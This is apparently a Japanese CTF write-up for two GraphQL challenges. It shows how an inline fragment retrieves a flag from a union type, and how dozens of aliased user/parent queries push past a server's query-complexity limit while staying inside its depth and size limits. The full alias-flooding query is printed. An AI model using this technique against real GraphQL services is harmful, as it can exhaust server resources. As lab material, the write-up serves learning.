welcome
schema.gqlからflag1が出力される定義が以下の部分。
type Dummy { flag1: String! } type Flag { flag1: String! } union FlagUnion = Dummy | Flag type PageInfo { endCursor: String hasNextPage: Boolean! hasPreviousPage: Boolean! startCursor: String } type Query { getFlag: FlagUnion! ...
クエリのgetFlagで取得してくるが、取得はDummyかFlagで帰ってくる。
しかし、どちらもflag1で持ってくればいいので、以下のようにしてやればよさそう。
query GetFlag { getFlag { flag1 } }
だが、以下のようにエラーになる。
{ "errors": [ { "message": "Cannot query field \"flag1\" on type \"FlagUnion\". Did you mean to use an inline fragment on \"Dummy\" or \"Flag\"?", "locations": [ { "line": 3, "column": 5 } ] } ] }
同名だと型の解決ができないようである。
これをどうにかするのが今回の問題。
適当にググると比較的すぐに解決策を見つけ出すことができた。
ガバガバ英語だが、graphql union specify the same field
でgoogle検索すると、以下のサイトが見つかる。
https://www.apollographql.com/docs/apollo-server/schema/unions-interfaces/
... on
というのを使えばいいらしく以下でフラグが得られる。
query GetFlag { getFlag { ... on Flag {flag1} } }
First blood!
complexity
flag2は以下のコードを通して得られる。
app.use( "/graphql", createHandler({ schema, validationRules: async (req, args, specifiedRules) => { return [ ...specifiedRules, querySizeLimit(QUERY_SIZE_LIMIT), depthLimit(DEPTH_LIMIT), validatePaginationArgument({ maximumValue: PAGINATION_MAX_VALUE, variableValues: args.variableValues, }), createComplexityRule({ maximumComplexity: COMPLEXITY_LIMIT, variables: args.variableValues ?? undefined, onComplete(complexity) { req.context.c.res.headers.append( "X-Debug-Complexity", String(complexity) ); }, createError() { log(req.context.c, "got flag2"); return flagError("Complex query detected", { flag2: process.env.FLAG2, }); }, estimators: [ fieldExtensionsEstimator(), simpleEstimator({ defaultComplexity: 1 }), ], }), ]; }, }) );
色々バリデーションがかかっているが、回避が大変なのは以下の部分。
- クエリの入力が1700bytes以内
- 深さが2以内。特にこっちが大変
この条件下のクエリで複雑度が100であるクエリを作ればフラグが得られる。
複雑度というのはgraphql-query-complexityで定義されている概念。
複雑度については何も分からないが、graphql-validation-complexity から学ぶGraphQLのAST走査らへんで雰囲気が分かる。
深さによる複雑度の増加は制限があるので、個数を増やしていく必要があるが…
分からない。
困った。
「ヒントが公開されます!」
dosのヒント1 (20:10)
https://graphql.org/learn/queries/#aliases
違う問題のヒントだが、まさしく求めていたものがそこにあった。
エイリアスを使えば、同一のクエリを複数個置くことができる。
以下のような根性クエリを投げるとフラグがもらえる。
query { a0: user(id: "1") { parent { name } } a1: user(id: "1") { parent { name } } a2: user(id: "1") { parent { name } } a3: user(id: "1") { parent { name } } a4: user(id: "1") { parent { name } } a5: user(id: "1") { parent { name } } a6: user(id: "1") { parent { name } } a7: user(id: "1") { parent { name } } a8: user(id: "1") { parent { name } } a9: user(id: "1") { parent { name } } a10: user(id: "1") { parent { name } } a11: user(id: "1") { parent { name } } a12: user(id: "1") { parent { name } } a13: user(id: "1") { parent { name } } a14: user(id: "1") { parent { name } } a15: user(id: "1") { parent { name } } a16: user(id: "1") { parent { name } } a17: user(id: "1") { parent { name } } a18: user(id: "1") { parent { name } } a19: user(id: "1") { parent { name } } a20: user(id: "1") { parent { name } } a21: user(id: "1") { parent { name } } a22: user(id: "1") { parent { name } } a23: user(id: "1") { parent { name } } a24: user(id: "1") { parent { name } } a25: user(id: "1") { parent { name } } a26: user(id: "1") { parent { name } } a27: user(id: "1") { parent { name } } a28: user(id: "1") { parent { name } } a29: user(id: "1") { parent { name } } a30: user(id: "1") { parent { name } } a31: user(id: "1") { parent { name } } a32: user(id: "1") { parent { name } } a33: user(id: "1") { parent { name } } a34: user(id: "1") { parent { name } } a35: user(id: "1") { parent { name } } a36: user(id: "1") { parent { name } } a37: user(id: "1") { parent { name } } a38: user(id: "1") { parent { name } } a39: user(id: "1") { parent { name } } }